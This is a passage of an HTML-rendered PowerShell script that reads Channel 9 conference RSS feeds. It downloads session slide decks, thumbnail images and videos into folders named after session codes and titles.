&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$a = ($rss.downloadstring(&amp;#34;http://s.ch9.ms/events/build/2015/rss/mp4&amp;#34;)) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$a = ($rss.downloadstring(&amp;#34;http://s.ch9.ms/events/build/2015/rss/mp3&amp;#34;)) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the decks **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$b&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;item&lt;/span&gt; | &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt; {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;) | &lt;span style=&#34;color:#91d7e3&#34;&gt;select &lt;/span&gt;-last &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get the url for the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;thumbnail&lt;/span&gt;.url)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# make the filename readable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.pptx&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;_960.jpg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-ne&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;NoCodeSessions&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;)) { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Make sure the PowerPoint file doesn&amp;#39;t already exist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (!(&lt;span style=&#34;color:#91d7e3&#34;&gt;test-path&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)) {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Echo out the file that&amp;#39;s being downloaded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Net&lt;/span&gt;.WebClient)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DownloadFile&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# download the jpg but don&amp;#39;t want to break if this doesn&amp;#39;t exist; hence the nested try blocks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#f4dbd6&#34;&gt;$wc&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;DownloadFile&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$urljpg&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$downloadlocation&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Jpeg &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; doesn&amp;#39;t exist ... eating the exception and moving on ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;mv &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#endif&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#end-loop foreach&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*************** Downloading all the decks complete ***************&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Oops, could not find any slides.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the videos **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$a&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;item&lt;/span&gt; | &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt; {   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;) | &lt;span style=&#34;color:#91d7e3&#34;&gt;select &lt;/span&gt;-last &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the URL for the MP4 file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$url&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create the local file name for the MP4 download&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f4dbd6&#34;&gt;$file&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;creator&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$_&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
